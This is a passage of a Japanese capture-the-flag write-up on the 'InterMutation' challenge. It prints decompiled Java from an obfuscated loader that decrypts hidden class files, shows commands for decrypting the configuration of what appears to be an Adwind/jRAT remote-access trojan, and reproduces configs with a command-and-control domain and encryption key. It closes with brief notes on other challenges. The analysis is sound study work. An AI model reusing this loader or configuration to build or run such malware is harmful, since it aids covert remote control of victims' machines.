            Class class_2 = this.defineClass(object, arrby, 0, arrby.length, firstClassProtectionDomain);
            arrclass[n2] = class_2;
            Class class_3 = class_2;
            if (!string2.equals(object)) continue;
            System.out.println(n2);
            class_ = class_3;
        }
        for (Class class_4 : arrclass) {
            this.resolveClass(class_4);
        }

        // ★
        for (String k : obfuscatedEntryList.keySet()) {
                String pre = k.substring(0, 10);
                String post = k.substring(11, k.length());
                if (!pre.equals("obfuscated")) {
                        continue;
                }
                byte[] arr = Header.decrypt(post, (Object[])Header.getEntryData(pre, post));
                try (FileOutputStream fos = new FileOutputStream(post)) {
                        fos.write(arr);
                }
        }
//        System.out.println((Object[])Header.getEntryData("obfuscated", "operational/Jrat.class"));
//        byte[] arrby = Header.decrypt((String)"operational/Jrat.class", (Object[])Header.getEntryData((String)"obfuscated", (String)"operational/Jrat.class"));
//        try (FileOutputStream fos = new FileOutputStream("jRat.class")) {
//                fos.write(arrby);
//        }
//

        // ClassLoader classLoader = (ClassLoader)class_.newInstance();
        // Class<?> class_4 = classLoader.loadClass("operational.Jrat");
        // Method method = class_4.getMethod("main", String[].class);
        // method.invoke(null, new Object[]{new String[0]});
    }

    public static Object[] getEntryData(String string, String string2) {
        String string3 = string + '/' + string2;
        Object[] arrobject = (Object[])obfuscatedEntryList.get(string3);
        return arrobject;
    }

    public static Object decryptObject(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Header.decrypt((String)string, (Object[])arrobject)));
        return objectInputStream.readObject();
    }

    public static byte[] decrypt(String string, Object[] arrobject) throws IOException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
        byte[] arrby;
        byte[] arrby3;
        String[] arrstring = (String[])arrobject[1];
        int[] arrn = (int[])arrobject[2];
        String string2 = (String)arrobject[3];
        int n = arrn[0];
        int n2 = arrn[1];
        byte[] arrby4 = string2.getBytes();
        byte[] arrby5 = new byte[1024];
        byte[] arrby6 = new byte[n2];
        int n3 = 0;
        for (String arrby22 : arrstring) {
            int gZIPInputStream;
            InputStream stream = Header.class.getClassLoader().getResourceAsStream(arrby22);
            while ((gZIPInputStream = stream.read(arrby5)) > -1) {
                System.arraycopy(arrby5, 0, arrby6, n3, gZIPInputStream);
                n3 += gZIPInputStream;
            }
        }
        Cipher cipher = Cipher.getInstance("AES");
        SecretKeySpec secretKeySpec = new SecretKeySpec(arrby4, "AES");
        cipher.init(2, secretKeySpec);
        byte[] arrby2 = arrby3 = cipher.doFinal(arrby6);
        arrby = new byte[n];
        n3 = 0;
        GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(arrby2));
        DataInputStream dataInputStream = new DataInputStream(gZIPInputStream);
        dataInputStream.readFully(arrby);
        return arrby;
    }

    static {
        if (firstClassName != null) {
            try {
                firstClass = Class.forName(firstClassName);
            }
            catch (Throwable throwable) {
                throw new RuntimeException(throwable);
            }
            firstClassProtectionDomain = firstClass.getProtectionDomain();
        }
        CAT_bootstrap = "bootstrap";
        CAT_obfuscated = "obfuscated";
        predefinedClassNamesToBeLoaded = new String[]{"Loader"};
    }
}

 おそらくどこかからnew Header()と呼ばれることを想定したクラスで、static初期化子(?)と、特にコンストラクタが意味有りげです。コンストラクタではdecryptObjectdecryptというメソッドが呼ばれています。こちらを見ていくと、どうやら処理はAlmight.javaでの復号と似たもののようです(記憶が蘇ってきたんですが、リソースファイルを読み込むところがコンパイルできなかったので自分で書き直したっぽい)。

 そのあといろいろ悩むんですが省略して、コンストラクタ最初で復号されるobfuscatedEntryListが名前の通り暗号化されたファイルのリストになっているので、★のあたりの処理を加えて一気に復号することにしました(Headerのインスタンスを作るだけのjavaを書いて実行しています)。

 これで大量にファイルが復号されるのですが、このサイトを見てAdWindDecryptor.jarGitHubから手に入れ、復号されたEyh/OlQ/ka.qZZ l/BIS/b.Zbx tI/P/tma.aからconfig-decrypted.jsonを生成します。●

$ java -jar ../AdWindDecryptor.jar -r tma.a -a b.Zbx -i ka.qZZ -o config-decrypted.json

 config-decrypted.jsonはその実jarファイルなので、やはりjar -xfとして展開し、server/resources内のファイルらについて、もう一度AdWindDecryptor.jarをやります。

$ java -jar ../../../AdWindDecryptor.jar -r Key1.json -a Key2.json -i config.json -o config-decrypted.json

 すると今度は本当にjsonが出てきます。結構大きなファイルなので整形した物の先頭付近だけ掲載しておきます。

{
  "NETWORK": [
    {
      "PORT": 2888,
      "DNS": "findthekeymatchdomain.com"
    }
  ],
  "INSTALL": true,
  "MODULE_PATH": "r/B/GD.bIu",
  "PLUGIN_FOLDER": "ucRjANkyiSG",
  "JRE_FOLDER": "UAfqbC",
  "JAR_FOLDER": "NSEzIfVRipw",
  "JAR_EXTENSION": "dGYsUs",
  "ENCRYPT_KEY": "aEkoTmxohieYivqcjBwIAkYXn",
  "DELAY_INSTALL": 2,
  "NICKNAME": "GOD MODE",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "vzkgY",
  "WEBSITE_PROJECT": "https://jrat.io",

というわけでFLAGはTDCTF{aEkoTmxohieYivqcjBwIAkYXn}です。

 ……のように格好良くESPerが発動すればよかったんですが、実際は●地点でoperationalというディレクトリを見に行って泥沼でした。こちらにはjRat.classのようないかにも怪しいファイルがあって、頑張って難読化を掻い潜っていくと忘れたして、偽物のconfig-decrypted.jsonにたどり着きます。こちらはファイルサイズは小さいのですが中身はこんな感じで、しれっとENCRYPT_KEYが鎮座しているので飛びついてしまいました。

{
  "NETWORK": [
    {
      "PORT": 7777,
      "DNS": "127.0.0.1"
    }
  ],
  "INSTALL": false,
  "MODULE_PATH": "zS/lq/BTk.GI",
  "PLUGIN_FOLDER": "DdWDtpinxpf",
  "JRE_FOLDER": "HSIROD",
  "JAR_FOLDER": "fUTkALeaTxM",
  "JAR_EXTENSION": "Vybgol",
  "ENCRYPT_KEY": "cPFjgddXIBcXBCIseEuXTZjwi",
  "DELAY_INSTALL": 2,
  "NICKNAME": "User",
  "VMWARE": false,
  "PLUGIN_EXTENSION": "DhjWU",
  "WEBSITE_PROJECT": "https://jrat.io",
  "JAR_NAME": "uiylKSALYJr",

 あまりにこれが「それ」すぎるので運営に質問しましたがこれは違うとのことでした。なんやねんこれ。まあ解けたので良しです。解けなかったらクソ問って言ってるところでした。

その他感想など

思い立った順に適当に並べてます

  • 問題数や難易度、開催時間がいい感じですごく楽しめた。InterMutationも解けたので満足度が高いです :)
  • st98プロがプロすぎてプロ
  • Modem一切わからなかったのがとってもつらい
  • Ninja, XSSあたりはSolvedも多いし普通に解けそうにみえるんですがわからなかった。XSSXSSしたあとなにすればいいのか詰まっちゃって、Ninjaは一切ないもわからんかった
  • Kou解きたかった。結局LFIっぽいのができただけで終了です。include_once("../board/" + $_GET["f"]);みたいな感じなのかな。どうやってindex.php読むんだろう。
  • Cat Proxyもこういう「なにかできそう」ってさしだされている問題は解きたいんだけど解けなかった。わかりません。
  • Linked List 2をちゃんと読んで解かなかったのは怠慢感がある
  • On My Wayは解析はサクサクできて、適当にLEVELを9まであげてx,yをそれぞれ0-100まで2から4ずつ変化させてGを探していたんですが見つかりませんでした……。何をすればいいのか。
  • へんなところで嵌って解けない問題が多くてつらい。
  • Pwnやれ
  • InterMutationでニセENCRYPT_KEYに嵌ってDMしたときに丁寧に対応してくれたのが印象良すぎてそのあと「Thank you!!!!! I've solved!!!!!!!!!!!!!!!!  💪」とかおくったのはやりすぎ感がある。あのときはちょっとテンション上がってました。